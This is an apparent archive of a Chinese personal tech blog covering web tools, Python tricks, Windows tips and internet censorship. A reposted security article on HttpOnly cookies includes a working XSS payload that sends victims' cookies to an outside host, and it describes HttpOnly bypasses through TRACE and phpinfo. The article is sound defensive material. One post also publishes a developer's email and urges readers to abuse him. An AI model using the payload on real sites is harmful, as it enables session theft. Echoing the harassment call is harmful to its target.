Signs - A simple short film about communication
ps Youtube又被水产了,卧槽泥马。
Posted
archive
This blog is rated 🔞, viewer discretion is advised
ps Youtube又被水产了,卧槽泥马。
Posted
archive
看到一则新闻 大学英语四、六级成绩数据分析报告(山寨统计版)
这个就比较震精了。cnBeta上那么多评论的,的没一个提到隐私问题?
首先est我非常支持ayu的山寨,因为我抵制任何形式的考试,厌恶99sushe。但是教育部46级办公室这帮傻逼把查分包给私人网站做,然后被人批量dump出数据,包括姓名、学校、省份和分数,这个算不算隐私泄漏?算不算重大公众责任事故?算不算恶性施政失误和政府无作为行为?
话说四六级考试,只要求考生填写诚信档案,你他妈的教育部诚信不?学生的分数和个人信息作为一种产业拿来卖钱?
况且得知一个人的学校和四级成绩,几乎可以估算这个人真是什么水平和社会周边信息了,是一个很好的社工和人肉入口
还好老子四六级几年前就考过了。当时查分是cet.tom.com查的
如果这个事情在民主法制国家发生,直接可以把教育部全部告破产,四六级办公司人全体下课并且social credit惩罚。如果这个事情发生在毛年代,这帮人绝对被批斗成残废。
WAKE UP SHEEPLE!
Posted
archive
那么我为啥还需要自己浪费精力去打理自己的独立blog?呵呵。如果需要邀请码注册yo2的可以直接跟我留言
yo2和blogger是我见过最舒服的blog服务。wordpress.com和tumblr之类的也很舒服不过被墙得厉害。blogbus/sina/baidu hi等等门户博客其实就是一种名人博客,或者叫带RSS功能的留言板。不能trackback不能ping不能permalink不能xmlrpc的废品blog平台有个毛的用。
Posted
archive
看到河蟹上岸上有关小学生守则的博文,est自己check了一下。
☑ 热爱祖国
☑ 热爱人民
☒ 热爱中国共产派对。
☐ 遵守法律法规
☑ 增强法律意识
☒ 遵守校规校纪
☑ 遵守社会公德。
☑ 热爱科学
☒ 努力学习
☒ 勤思好问
☑ 乐于探究
☐ 积极参加社会实践和有益的活动。
☒ 珍爱生命
☒ 注意安全
☒ 锻炼身体
☐ 讲究卫生。
☒ 自尊自爱
☑ 自信自强
☒ 生活习惯文明健康。
☒ 积极参加劳动
☑ 勤俭朴素
☑ 自己能做的事自己做。
☐ 孝敬父母
☒ 尊敬师长
☑ 礼貌待人。
☐ 热爱集体
☑ 团结同学
☑ 互相帮助,关心他人。(特别是考试的时候)
☐ 诚实守信
☐ 言行一致
☑ 知错就改
☑ 有责任心。
☑ 热爱大自然
☒ 爱护生活环境。
36个条目,能够做到16条,违反了12条,7条很模糊。
为自己惭愧一个。
Posted
archive
reddit上看到的。。超geek超cult的笑话。。。好冷。。。
A SQL query walks into a bar and sees two tables. He walks up to them and says 'Can I join you?'
he then selects one to take home and asks, may I insert into you?
"OK," they say.
"And how would you like that sorted" the query asks. "Top to bottom," they answer. "I knew you were my kind of tables," the query exclaims.'Get outer here!'
Posted
archive
一个两周前才注册的新ID:
http://passport.baidu.com/?business&aid=6&un=%C6%AC%D2%EE%CC%EC%CA%B9
用户名: 片翌天使
性别: 女
邮箱: 保密
生日: 未知
血型: 未知
出生地: 未知
目前居住地: 未知
注册时间: 2009-01-23 12:32
最后访问时间: 当前在线
个人简介:
只固定回复一个帖子
http://tieba.baidu.com/f?kz=529691897
而且成功引导大家的讨论,最后成了一个美丽的故事的主角
http://hi.baidu.com/baidu/blog/item/0c1f3fa8ddf944b6cb130cc9.html
图:
以前百度贴吧earthquake predict神贴啊之类的。也很多。
国外IT是靠技术和创意,国内互联网就是靠CCAV保护费、烧钱和炒作。
完。
Posted
archive
Posted
archive
An attack vector is a path or means by which a hacker (or cracker) can gain access to a computer or network server in order to deliver a payload or malicious outcome. Attack vectors enable hackers to exploit system vulnerabilities, including the human element.
Attack vectors include viruses, e-mail attachments, Web pages, pop-up windows, instant messages, chat rooms, and deception. All of these methods involve programming (or, in a few cases, hardware), except deception, in which a human operator is fooled into removing or weakening system defenses.
正在弄一个匿名项目。。。。觉得这个东西太有意思啦。Javascript Fuzzing达到一定高度就是一种艺术了。。。感觉 How XSS technologies applied to civil use 这个过程太奇妙了。。哈哈。。。
ps 有人知道 花指令 和 乱码 用英语怎么说不?知道的请一定告诉我。TIA
Posted
archive
本来我还很骄傲,加入了251个小组,今天一瞬间河蟹了n个。。。。
平均下来一个人至少收到4封豆油
我想豆瓣在文青和左右粪里的影响力还是相当大的一个网站,可以算国内高端的百度贴吧,小组功能其实占豆瓣70%的流量。这么做的确太可惜了。
不过解散的小组非常喜剧,各种名字都有。。。。
结合youku, tudou等等撤下美剧,如果再撤下动漫,那么可以说真正的冬天就来了。
豆瓣已死,有事烧纸。现在是寻找一个alternative的时候了。数字游牧民族,继续前进!
Posted
archive
http://www.evilmadscientist.com/article.php/mobiuscircuit
太强咯。。呵呵
Posted
archive
无聊在《说文解字》里翻到的:
古人写书原来还要画圈圈的。。。。。囧 字有在铭文上居然还有专属logo。。。。。囧字解释的第一句文字我估计80%的人只认识最后那个“明”字。
囧 jiǒng 窗牖丽廔,闿明也。象形。凡囧之属皆从囧。读若犷。贾侍中说:读与明同。俱永切。
Posted
archive
超级囧,超级WTF的新闻啊。。。
The Humber College seniors made contact with the International Space Station Monday with a radio system they designed and built themselves.
...
The first message got no response, but after a crackle of static and a second attempt, the voice of astronaut Sandra Magnus filled the room, and the excited students peppered her with questions.
其实业余爱好者还是很容易联系上ISS的。这里还有一个ARISS项目:Amateur Radio on the International Space Station。。。。
from TheGlobeAndMail.com via reddit
Posted
archive
Python很是流行呀~~
Posted
archive
如果你是个M6/豆瓣控,而且经常混小组/BBS/论坛的话。或许你会喜欢Goofy²的~~
我最喜欢的特性:
虽然目前可以改进的地方还有很多,但是我觉得这个网站potential非常巨大。
via 2008 最值得关注的15个 China Web2.0 Startup!
Posted
archive
Don't use Perl. It's counter revolutionary
不要用Perl,那是反革命。Long live the struggle against bracist imperialism!
反“括号帝国主义”斗争永垂不朽!Strive for excellence in modules
为模块的优越性而奋斗!
解释下什么是“括号帝国主义”
{ { { {
} } } }
这就是bracist。
Python里用的不是花括号,而是缩进。。。
>>> from __future__ import braces
File "<stdin>", line 1
SyntaxError: not a chance
via Getting a grip on Python: six ways to learn online
Posted
archive
a看了Ghost.Town.2008.FiNAL.REPACK.DVDRiP.XViD-LARCENY这部片子。觉得是一部不错的片子
可是,在好莱坞的逻辑里chinese仍然是异教徒 + 赤色commie啊。。。。
00:51:12,082开始的对话:
Gwen: Richard's a human rights lawyer, so, well, he takes his job very seriously. Pincus: Oh, well, so you should with human rights. I take human rights seriously. You know, everybody's equal, color, creed or circumstance. We're all the same on this planet. Except the Chinese. Gwen: What? Pincus: No, they are. They're the odd ones out if you had to pick one. No, I'm not having a go. I'm just saying, you know, not their faces. I mean... No, no. But they call each other things like Kwok... Gwen: Stop it. You're gonna... Pincus: ...and that's their choice, and they don't have to call a kid Kwok. And they... No. Some people are called Pong... Gwen: Stop, please, stop. Pincus: ...and there's about a million Wangs. You can have... You have one kid, you can use all those names on one little... You could call a kid Kwok Pong Wang. Richard: Ming Wa Men and Ho Lee Park have been arrested in Shaolin. I have to get down to the office.
最囧的是arrested in Shaolin。。。。编故事也太不负责了吧。。。
其实这片子还是挺有教育意义的。。
Posted
archive
陈饭了。。。
假设壁纸路径是 %picpath%,Linux下变量是 $picpath
Windows Explorer
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /d "%picpath%" /f
RunDll32.exe USER32.DLL,UpdatePerUserSystemParameters
gpupdate /force
GNOME
gconftool-2 -t string -s /desktop/gnome/background/picture_filename $picpath
KDE
dcop kdesktop KBackgroundIface setWallpaper $picpath 7
LXDE, Fluxbox, MaXXDesktop, MWM, etc.
fbsetbg -t $picpath
最近发现GTK+的依赖真是麻烦的事情。。。。真是麻烦的事情。。。真是麻烦的事情。。。真是麻烦的事情。。。
现在的壁纸比较好玩了。根据节日、天气、事件、时间自动切换。还可以和twitter背景同步,甚至做一个有关Desktop OS指标的Visualization,甚至一些random patterns。嘎嘎。最后在一个自己喜欢的Web 2.0站点分享和archive。
Posted
archive
Get TortoiseGit 0.1 here http://code.google.com/p/tortoisegit/downloads/list
TortoiseGit being hosted in SVN seems ironic.
Now I have TortoiseSVN, TortoiseHg, TortoiseGit on my Windows. The right click menu of Explorer looks AWESOME.
Posted
archive
免输入法输入德语中的ßÄäÖöÜü
看到这个帖子 http://www.douban.com/group/topic/4520095/
想起了这个小技巧,希望对大家有所帮助
ß Alt+223
Ä Alt+196
ä Alt+228
Ö Alt+214
ö Alt+246
Ü Alt+220
ü Alt+252
输入方法;以ß为例,Windows下按住Alt不松开,然后分别按小键盘上的2,2,3然后松开3
备注:有输入法的话
-键是ß
;键是ö
'键是ä
[键是ü
ö就打成oe,ä就打成ae,ü就打成ue,ß就打成ss他也可以
Posted
archive
一周前的新闻。孜孜不倦的NASA爱好者最近人肉出来了一块很诡异的图片,“机遇号”火星车在2004年4月24日发回来的照片,发现了一块非常像木头的东西。。。est去看了下,的确很震惊。。。
用S-Spline 2的算法放大处理了一下:
首先这肯定不是寻常的火星地表物体,虽然有可能是韩国人的祖先放上去的,但是本着科学务实的态度,我们猜想下:
可能是木头。火星上可能曾经存在一片森林?木头会被氧化腐蚀吧?怎么说也会变成碳了?
如果不是一块木头,是岩石的话,这岩石的形状未免也太诡异了?
或者,是NASA的恶作剧?
想下载大图、红蓝3D图片的可以去官方页面。jpg格式。4MB一个。有点大。。。不过值得八卦研究~~~。再贴一次官方URL:
http://marsrovers.jpl.nasa.gov/gallery/press/opportunity/20040524a.html
直接下载大图:
Posted
archive
混reddit有些日子了。有些新鲜的名词始终反复出现,非常的有潜力啊。
haXe (pronounced as hex) is an open source programming language.
While most of the other languages are bound to their own platform (Java to the JVM, C# to .Net, ActionScript to the Flash Player), haXe is a multiplatform language.
HSS is tool that extends the CSS syntax with powerful features such as variables and nested blocks.
最后,本人也是菜鸟一个,如果大家有什么更加强大的神器一定不要忘记拿出来分享哦。国人加油!争取在Web浪潮里逐渐超过欧美。嘿嘿
Posted
archive
熊猫打群架,腿骨打断,为了疗伤只好。。。。Some panda got involved into a fight, unfortunately one broke his leg. Fur shaved for operation. Here's how he looks:
Posted
archive
http://www.reddit.com/r/programming/comments/77o4g/
这帮闲得蛋痛的人啊
答案之一:http://www.google.com/search?q=356,000
答案之二,某人用shellscript暴力跑出来的结果 http://www.google.com/search?q=545000
还有很多相当有创意的答案。例如3,还有 "e to the pi i plus 2"。
当然google开始索引我这篇blog之后,"e to the pi i plus 2"的结果就应该是2个了。哈哈
Posted
archive
Youtube:
Youku:
mop牛人多啊
Posted
archive
http://validator.w3.org/check?uri=http://www.w3.org/TR/
并不是所有标准都是好的。
Posted
archive
p01.org发布了一个名为 MARS的最新Javascript 256Byte DemoScene。全部代码只有255字节,内容如下:
RSS读者可以点击这里再运行代码看效果
p01.org的又一力作啊。。。太牛X了
地址:http://www.p01.org/releases/Demoscene/files/mars_canvas_256b.htm
提示:IE不支持<canvas>,Chrome目前处理canvas的时候有严重的内存泄漏,请用Firefox或者Opera浏览。
Posted
archive
为了6个学分。偶开始了一个下午的折腾。
安装 《大学英语学习系统》网络版学生端2.20
我真佩服咋学校电教室的哪些老师,他们是咋个把这个JB软件安装成功的呢??
这几天找工作,最讨厌就是别人一见到你就问:“XX公司给你offer没?”我已经回答了n个,一摩尔个,无穷多个个这样的问题。我恨不得每天把我所有认识的人召集起来,做一个当天工作报告。这样信息就平等了。
甚至一上IM,看到和现在自己做的无关的话题发起,就十分恐惧,赶紧把TM2008, WLM, GTalk, Skype, Fetion, Jabber, IRC全部关了。偶真的怕了。现在讨厌在集中精力的时候突然右下角弹一个对话消息窗口出来。
所以Email还是有相当大的好处的。你可以自由决定看Email的时间。
虽然这样失去了instant的特性。
但是除了开会需要instant,还有什么需要instant呢?一点delay可以给你自己更多思考的时间和空间。
或许这也是QQ给人们带来了网络寻呼的概念,却也导致了大规模隐身的悲哀吧。
如果一个IM网络体系,90%以上的用户都是习惯经常性的隐身登录,那么Online和Invisible到底还有什么意义呢?
互联网给人类带来了信息的爆炸。最重要的就是信息的中立和自由。用户不必天天在各种XX人民报、XXX日报等洗脑教材之间
打发无聊时间,您可以自由选择订阅RSS,不喜欢了就可以退订。
但是IM就不一样。有的时候,你必须面对各种各样的conversation。
所以,有的时候,出于对IM的恐惧,导致了MJ遍地开花(人格分裂?)
Posted
archive
很多时候,安装一个.exe的时候看到这个东西
我们要把hack掉。绕过这个限制。第一步下载Orca:http://astebner.sts.winisp.net/Tools/Orca.zip
用Orca打开一个.msi文件,然后找到LaunchCondition
这个表
去掉一些值即可。例如
最后hint一个东西。很有趣哦。。 cXFvazU4Njpyb2Nrcw==
Posted
archive
http://twisted.ecritters.biz/replacedemo
cool demo of Transfer-Encoding: chunked
on twisted python
和那个GIF实现comet页面有异曲同工之妙啊
Posted
archive
看到一个帖子,囧了
apache或许在静态文件处理上比不过lighttpd,但是不会到连iis都不如的地步。
所谓iis胜过apache,可能是指文件传输的速度iis比apache要好,那是因为iis用了特定的平台api(TransmitFile),使
用了文件系统级的缓存(ntfs.sys)。IIS确实强过Apache,并不是因为使用了什么特别的api,或者文件系统缓存的原因(想想那个文件系统没有缓存功能?服务器拥有的带宽通常都比不过硬盘的读取速度),关键是它从IIS 6.0开始HTTP连接就是用系统驱动在
内核层处理了,所以性能是惊人的,大概只有Linux的内核级的http服务器kHTTPd可以和它比一比。win2008的IIS 7.0更是因为MS重写了整个TCP/IP栈,性能比IIS 6又有了近50%的提升。
微软的winsock被很多牛人诟病之后,微软开始发猛做 WinINET 和 驱动级的 http 协议栈 http.sys,看来IIS还真的要在服务器市场有所作为啊
ps Win2008重写了TCP/IP协议栈,我咋没感觉出来喃?
Posted
archive
转一篇好文章,利用httponly提升应用程序安全性
==Ph4nt0m Security Team==
Issue 0×01, Phile #0×06 of 0×06
|=—————————————————————————=|
|=————-=[ 利用httponly提升应用程序安全性 ]=————–=|
|=—————————————————————————=|
|=—————————————————————————=|
|=——————–=[ By 剑心 ]=——————–=|
|=——————–=[ <root_at_ph4nt0m_dot_org> ]=——————–=|
|=—————————————————————————=|
|=—————————————————————————=|
随着www服务的兴起,越来越多的应用程序转向了B/S结构,这样只需要一个浏览器就可
以访问各种各样的web服务,但是这样也越来越导致了越来越多的web安全问题。www服务依
赖于Htpp协议实现,Http是无状态的协议,所以为了在各个会话之间传递信息,就不可避免地
用到Cookie或者Session等技术来标记访问者的状态,而无论是Cookie还是Session,一般都
是利用Cookie来实现的(Session其实是在浏览器的Cookie里带了一个Token来标记,服务器
取得了这个Token并且检查合法性之后就把服务器上存储的对应的状态和浏览器绑定),这样
就不可避免地安全聚焦到了Cookie上面,只要获得这个Cookie,就可以取得别人的身份,这对
于入侵者是一件很美妙的事情,特别当获得的Cookie属于管理员等高权限身份者时,危害就
更大了。在各种web安全问题里,其中xss漏洞就因此显得格外危险。
对于应用程序来说,一旦存在了xss漏洞就意味着别人可以在你的浏览器中执行任意的
js脚本,如果应用程序是开源的或者功能是公开的话,别人就可以利用ajax使用这些功能,但
是过程往往很烦琐,特别是想直接获得别人身份做随意浏览的话困难就更大。而对于不开源
的应用程序,譬如某些大型站点的web后台(web2.0一个显著的特征就是大量的交互,用户往
往需要跟后台的管理员交互,譬如Bug汇报,或者信息投递等等),尽管因为交互的存在可能存
在跨站脚本漏洞,但是因为对后台的不了解,无法构造完美的ajax代码来利用,即使可以用js
取得后台的代码并回传分析,但是过程同样烦琐而且不隐蔽。这个时候,利用xss漏洞获得
Cookie或者Session劫持就很有效了,具体分析应用程序的认证,然后使用某些技巧,甚至可
以即使对方退出程序也一样永久性获得对方的身份。
那么如何获得Cookie或者Session劫持呢?在浏览器中的document对象中,就储存了
Cookie的信息,而利用js可以把这里面的Cookie给取出来,只要得到这个Cookie就可以拥有
别人的身份了。一个很典型的xss攻击语句如下:
xss exp:
url=document.top.location.href;
cookie=document.cookie;
c=new Image();
c.src="http://www.loveshell.net/c.php?c="+cookie+"&u="+url;
一些应用程序考虑到这个问题所在,所以可能会采取浏览器绑定技术,譬如将Cookie和浏览
器的User-agent绑定,一旦发现修改就认为Cookie失效。这种方法已经证明是无效的,因为
当入侵者偷得Cookie的同时他肯定已经同时获得了User-agent。还有另外一种比较严格的
是将Cookie和Remote-addr相绑定(其实就是和IP绑定,但是一些程序取得IP的方法有问题一
样导致饶过),但是这样就带来很差的用户体验,更换Ip是经常的事,譬如上班与家里就是2个
IP,所以这种方法往往也不给予采用。所以基于Cookie的攻击方式现在就非常流行,在一些
web 2.0站点很容易就取到应用程序的管理员身份。
如何保障我们的敏感Cookie安全呢?通过上面的分析,一般的Cookie都是从document对
象中获得的,我们只要让敏感Cookie在浏览器document中不可见就行了。很幸运,现在浏览
器在设置Cookie的时候一般都接受一个叫做HttpOnly的参数,跟domain等其他参数一样,一
旦这个HttpOnly被设置,你在浏览器的document对象中就看不到Cookie了,而浏览器在浏览
的时候不受任何影响,因为Cookie会被放在浏览器头中发送出去(包括ajax的时候),应用程
序也一般不会在js里操作这些敏感Cookie的,对于一些敏感的Cookie我们采用HttpOnly,对
于一些需要在应用程序中用js操作的cookie我们就不予设置,这样就保障了Cookie信息的安
全也保证了应用。关于HttpOnly说明可以参照
http://msdn2.microsoft.com/en-us/library/ms533046.aspx。
给浏览器设置Cookie的头如下:
Set-Cookie: <name>=<value>[; <name>=<value>]
[; expires=<date>][; domain=<domain_name>]
[; path=<some_path>][; secure][; HttpOnly]
以php为例,在php 5.2版本时就已经在Setcookie函数加入了对HttpOnly的支持,譬如
<?php
setcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE);
?>
就可以设置abc这个cookie,将其设置为HttpOnly,document将不可见这个Cookie。因为
setcookie函数本质就是个header,所以一样可以使用header来设置HttpOnly。然后再使用
document.cookie就可以看到已经取不到这个Cookie了。我们用这种方法来保护利例如
Sessionid,如一些用于认证的auth-cookie,就不用担心身份被人获得了,这对于一些后台程
序和webmail提升安全性的意义是重大的。再次使用上面的攻击手法时可以看到,已经不能
获取被我们设置为HttpOnly的敏感Cookie了。
但是,也可以看到HttpOnly并不是万能的,首先它并不能解决xss的问题,仍然不能抵制
一些有耐心的黑客的攻击,也不能防止入侵者做ajax提交,甚至一些基于xss的proxy也出现
了,但是已经可以提高攻击的门槛了,起码xss攻击不是每个脚本小子都能完成的了,而且其
他的那些攻击手法因为一些环境和技术的限制,并不像Cookie窃取这种手法一样通用。
HttpOnly也是可能利用一些漏洞或者配置Bypass的,关键问题是只要能取到浏览器发送
的Cookie头就可以了。譬如以前出现的Http Trace攻击就可以将你的Header里的Cookie回
显出来,利用ajax或者flash就可以完成这种攻击,这种手法也已经在ajax和flash中获得修
补。另外一个关于配置或者应用程序上可能Bypass的显著例子就是phpinfo,大家知道
phpinfo会将浏览器发送的http头回显出来,其中就包括我们保护的auth信息,而这个页面经
常存在在各种站点上,只要用ajax取phpinfo页面,取出header头对应的部分就可以获得
Cookie了。一些应用程序的不完善也可能导致header头的泄露,这种攻击方式对于basic验
证保护的页面一样可以攻击。
HttpOnly在IE 6以上,Firefox较新版本都得到了比较好的支持,并且在如Hotmail等应
用程序里都有广泛的使用,并且已经是取得了比较好的安全效果。
-EOF-
Posted
archive
notepad++ 是一个开源的文本编辑工具 http://notepad-plus.sourceforge.net/,功能就不用说了,今天看到一件令人气氛的事情,估计最近作者脑袋被门夹了,在sf首页写着Boycott Beijing 2008,大家转用PSPad、notepad2、EmEditor等软件吧
作者的邮箱是don.h@free.fr,大家看着办吧,当然也可以到notepad++的论坛里留一句言:notepad++ sucks!
vim 声明帮助乌干达难民
而 notepad++ 在声明抵制一个体育赛事
Posted
archive
d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f8955ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70
两个字符的MD5都是 edde4181249fea68547c2fd0edd2e22f
来源:http://www.mathstat.dal.ca/~selinger/md5collision/
Posted
archive
一直很奇怪关闭一个Google Groups页面那个对话框是如何弹出来的,现在发现原来是onbeforeunload的返回值,我们不用alert也可以弹对话框啦
<script>
window.onbeforeunload = function(event){
event = event || window.event;
event.returnValue = "您的文章内容还没有进行保存!";
}
</script>
<body>
aaa
</body>
Posted
archive
现代Web服务器应用一个重要的指标是“Uptime”,也就是在线时间。例如一个大型论坛,升级一个功能,如果需要更新配置而重启Web服务器,可能服务就暂停几秒种,几秒种的损失对于Web来说是相当大的,所以我们需要实现模块热插拔。升级一个模块之后,系统自动把内存里的代码更新为最新文件系统上的版本。再举一个例子,假如一个关键业务是一个IM聊天机器人,那么升级一个机器人的功能就不可能让机器人下线再上线。软件系统模块“热插拔”就像硬件的plug ‘n’ play 一样,方便了开发流程,把文件上传到服务器FTP,网站就自动更新。
实现思路很简单,犯不着去调用文件系统的消息和事件,我们用最原始最简单的办法:用一个单独的线程,隔一段时间遍历当前目录下的 .py 和 .pyc 文件,搜集文件时间属性,如果文件时间属性变化了,则 reload(module)
其实django内置的开发服务器已经实现了这个功能,你保存一个工程的代码,服务器在不重启的情况下自动刷新,那么秉着“不要重复造轮子”的理念,我们直接用django现有的模块。网上问了一下,发现是这个模块在起作用: django.utils.autoreload 。其实retoreload.py也是源自于CherryPy Project的一段代码。
调用就很简单了
#!/usr/bin/env python
#coding:utf-8
from django.utils import autoreload
def main():
print 1
#必须从命令行启动
if "__main__" == __name__:
import autoreload
autoreload.main(main)
保存为 test.py ,命令行运行 python test.py ,显示 1,说明代码没有问题。好,打开 test.py 修改main()函数为 print 2,保存,发现命令行自动刷新了,显示2。
如果上面的代码在工程中应用,可以在main()里写不能down的监护进程,然后所有功能通过 from module import class 来实现,要更新一个功能,只需要更新 module 文件,整个服务在不中断的情况下就会自动升级,我们就成功实现了模块热插拔。
脚本语言的确更加适合Web,如果是C语言开发的系统,每更新一个功能模块都需要编译一次,开发效率真是底下(当然用 .so/ .dll / COM 等技术就比较高级一点了)
Posted
archive
Meet The Spartans这部片子非常的恶搞了GTA:SA、youtube和American Idol
Posted
archive
有一篇很老的文章,讲:花10年的时间学会编程
Here's my recipe for programming success:
- Get interested in programming, and do some because it is fun. Make sure
that it keeps being enough fun so that you will be willing to put in ten
years.- Talk to other programmers; read other programs. This is more important
than any book or training course.- Program. The best kind of learning is
learning by doing. To put it more technically, "the maximal level of
performance for individuals in a given domain is not attained automatically
as a function of extended experience, but the level of performance can be
increased even by highly experienced individuals as a result of deliberate
efforts to improve."
(p. 366)
and "the most effective learning requires a well-defined task with an
appropriate difficulty level for the particular individual, informative
feedback, and opportunities for repetition and corrections of errors." (p.
20-21) The book
Cognition in
Practice: Mind, Mathematics, and Culture in Everyday Life is an
interesting reference for this viewpoint.- If you want, put in four years at a college (or more at a graduate
school). This will give you access to some jobs that require credentials,
and it will give you a deeper understanding of the field, but if you don't
enjoy school, you can (with some dedication) get similar experience on the
job. In any case, book learning alone won't be enough. "Computer science
education cannot make anybody an expert programmer any more than studying
brushes and pigment can make somebody an expert painter" says Eric Raymond,
author of The New Hacker's Dictionary. One of the best programmers I
ever hired had only a High School degree; he's produced a lot of
great
software, has his own
news group, and made enough in stock options to buy his own
nightclub.- Work on projects with other programmers. Be the best programmer on some
projects; be the worst on some others. When you're the best, you get to test
your abilities to lead a project, and to inspire others with your vision.
When you're the worst, you learn what the masters do, and you learn what
they don't like to do (because they make you do it for them).- Work on projects after other programmers. Be involved in
understanding a program written by someone else. See what it takes to
understand and fix it when the original programmers are not around. Think
about how to design your programs to make it easier for those who will
maintain it after you.- Learn at least a half dozen programming languages. Include one language
that supports class abstractions (like Java or C++), one that supports
functional abstraction (like Lisp or ML), one that supports syntactic
abstraction (like Lisp), one that supports declarative specifications (like
Prolog or C++ templates), one that supports coroutines (like Icon or
Scheme), and one that supports parallelism (like Sisal).- Remember that there is a "computer" in "computer science". Know how long
it takes your computer to execute an instruction, fetch a word from memory
(with and without a cache miss), read consecutive words from disk, and seek
to a new location on disk. (Answers here.)- Get involved in a language standardization effort. It could be the ANSI
C++ committee, or it could be deciding if your local coding style will have
2 or 4 space indentation levels. Either way, you learn about what other
people like in a language, how deeply they feel so, and perhaps even a
little about why they feel so.- Have the good sense to get off the language standardization effort as
quickly as possible.
大师级人物讲话就是不一样~~咳咳~~~
Posted
archive
PPTP VPN和OpenVPN的不同之处在于PPTP VPN支持Windows自带的VPN拨号器连接。
apt-get install pptpd
vim /etc/pptpd.conf
修改
localip 10.5.1.3
remoteip 10.5.1.241-246
其中localip要保证和ifconfig里的结果一样
remoteip是一个网段,要保证被2整除。
vim /etc/ppp/options
添加两个DNS
ms-dns 202.112.14.151
ms-dns 202.112.14.161
vim /etc/ppp/chap-secrets
添加几个VPN帐户,例如这里的alice和bob
alice pptpd a-strong-password *
bob pptpd another-strong-password *
允许forward VPN连接
vim /etc/sysctrl.conf
删除 #net.ipv4.conf.default.forwarding=1 这一行前面的 #
再 vim /etc/init.d/pptpd
在start后面加上
echo 1 > /proc/sys/net/ipv4/ip_forward
也就是:
case "$1" in
start)
echo -n "Starting PPTP Daemon: "
echo 1 > /proc/sys/net/ipv4/ip_forward
start-stop-daemon –start –quiet –pidfile $PIDFILE –exec $DAEMON \
– < /dev/null > /dev/null
echo "pptpd."
;;
最后 /etc/init.d/pptpd restart 好了,赶快试试你的VPN是否正常工作
来源:http://pigtail.net/nicholas/pptp/
Posted
archive
网上无意中发现了skype.exe的命令行参数,所以可以轻易实现skype免安装便携版
This is a list of the command line parameters for Skype that I know of:
/nosplash Starts Skype without the splash screen.
/minimized Starts Skype minimized to the system tray.
/datapath:”path” Use alternate path for saving settings etc.
/removable (Use with /datapath) Don’t persist specified path since it may not be available next time.
/callto:Skype name or phone no. Calls the specified user or phone number.
/shutdown Shuts down Skype.Note that parameters can be combined, e.g.: Skype.exe /minimized /nosplash
All of the parameters above have been tested with Skype Version 2.5.0.151.
Do you have anything to add to this list? Please let me know by e-mail: supermagle@ter.dk
D:\Chat\Skype\Skype.exe /datapath:".\" /minimized
把配置文件保存到当前目录~~~跟无聊的NSIS脚本说bye-bye吧~~
Update: 看到hung也是这么做的
Posted
archive
今年2月份的时候,地球上很多XMPP服务器不能和Google Talk互通了,原因是Google App加入了即时聊天功能。我就碰到这个情况了,今天到处求助,后来Jabber.org的一位成员指点了一下,找到了Google的官方解释。
例如,dormforce.net申请了Google Apps,邮件托管在Google Apps Standard,自动开启了 即时聊天 功能,Google这一举动实际上破坏了XMPP Federation。我们自己架设了Openfire作为XMPP服务器,Google总是优先连接自家的XMPP服务器,所以 @dormforce.net 就不能和 @gmail.com 的用户互通,和其他XMPP域(例如 @jabber.org 等)则正常
现在把Google Apps的 即时通讯 disable了,过一会儿再看看是否正常。如果还不正常可以向Google发邮件。
Posted
archive
一直为GB2312,GBK,GB18030和CP936之间的关系头痛,今天得到Python群里一位高人指点,明白了cp936就是指系统里第936号编码格式,也就是GB2312。
可以看这个表:
936 gb2312 简体中文(GB2312)
至于Unicode, UCS2, UTF-8之间的种种关系还是比较困惑。特别是Unicode和Unicode对象、UTF-8编码的Unicode对象……非常郁闷
Posted
archive
def demo_app(environ,start_response):
from StringIO import StringIO
stdout = StringIO()
print >>stdout, "Hello world!"
print >>stdout
h = environ.items(); h.sort()
for k,v in h:
print >>stdout, k,'=',`v`
k=start_response("200 OK", [('Content-Type','text/plain')])
for x in range(1, 100):
k(str(x))
time.sleep(1)
return [stdout.getvalue()]
print >>stdout, "Hello world!"
Python的这种语法非常长见识,很想C++里的语法Posted
archive
网上lurking around的时候发现一个火星帖子:Vista和Server 2008支持Unix子系统……而且貌似是比较完整的。甚至包括一个C shell 和K Shell
Utilities and SDK for UNIX-Based Applications is an add-on to the Subsystem for UNIX-Based Applications (referred to as SUA, hence forth) component that shipped in Microsoft Windows Vista / Windows Server2008 RC1.
This consists of the following components:- Base Utilities
- SVR-5 Utilities
- Base SDK
- GNU SDK
- GNU Utilities
- UNIX Perl
- Visual Studio Debugger Add-inThis release enables 64-bit application development for SUA. development and porting of custom UNIX applications using the Windows OCI (Oracle Call Interface) and Windows ODBC libraries (collectively referred to as ‘Mixed Mode’ in the rest of the document).
目前支持Windows Vista(请下载不带RC1字样的链接),以及Vista SP1 RC1,Server 2008 RC1(请下载带RC1字样的链接)。
Utilities and SDK for UNIX-based Applications_AMD64.exe 196.3 MB
Utilities and SDK for UNIX-based Applications_AMD64_RC1.exe 251.0 MB
Utilities and SDK for UNIX-based Applications_IA64_RC1.exe 259.8 MB
Utilities and SDK for UNIX-based Applications_X86.exe 193.3 MB
Utilities and SDK for UNIX-based Applications_X86_RC1.exe 248.7 MB
开启方法:
开始菜单 - 控制面板 - 程序和特性 - 打开/关闭Windows特性,勾选Unix子系统应用程序。
看了觉得很囧的请帮我Digg,谢谢!
http://digg.com/microsoft/Microsoft_Provide_GNU_and_Unix_SDK_Utilities_Download_WTF
Posted
archive
谢谢大家了 !
Posted
archive
您所请求的网址(URL)无法获取
——————————————————————————–
当尝试读取以下网址(URL)时: http://www.google.com/search?hl=en&q=Applying+background+to+Iframe+for+IE
发生了下列的错误:
无法将您输入的主机名称:www.google.com转换成 IP 地址
域名服务器返回以下讯息:
No DNS records
这表示:
The cache was not able to resolve the hostname presented in the URL.
Check if the address is correct.
缓存服务器无法解析您输入网址(URL)中的主机名称,
请检查该名称是否正确。
本缓存服务器管理员:webmaster@fastcdn.com
——————————————————————————–
Generated Mon, 18 Feb 2008 09:11:05 GMT by CNC-TJTG-182.229.fastcdn.com (squid)
2008-2-18 成都教育网,Google.com和Baidu.com经常出现DNS解析错误。不是ZF在搞鬼就是电信技术人员工资没发够。
Posted
archive
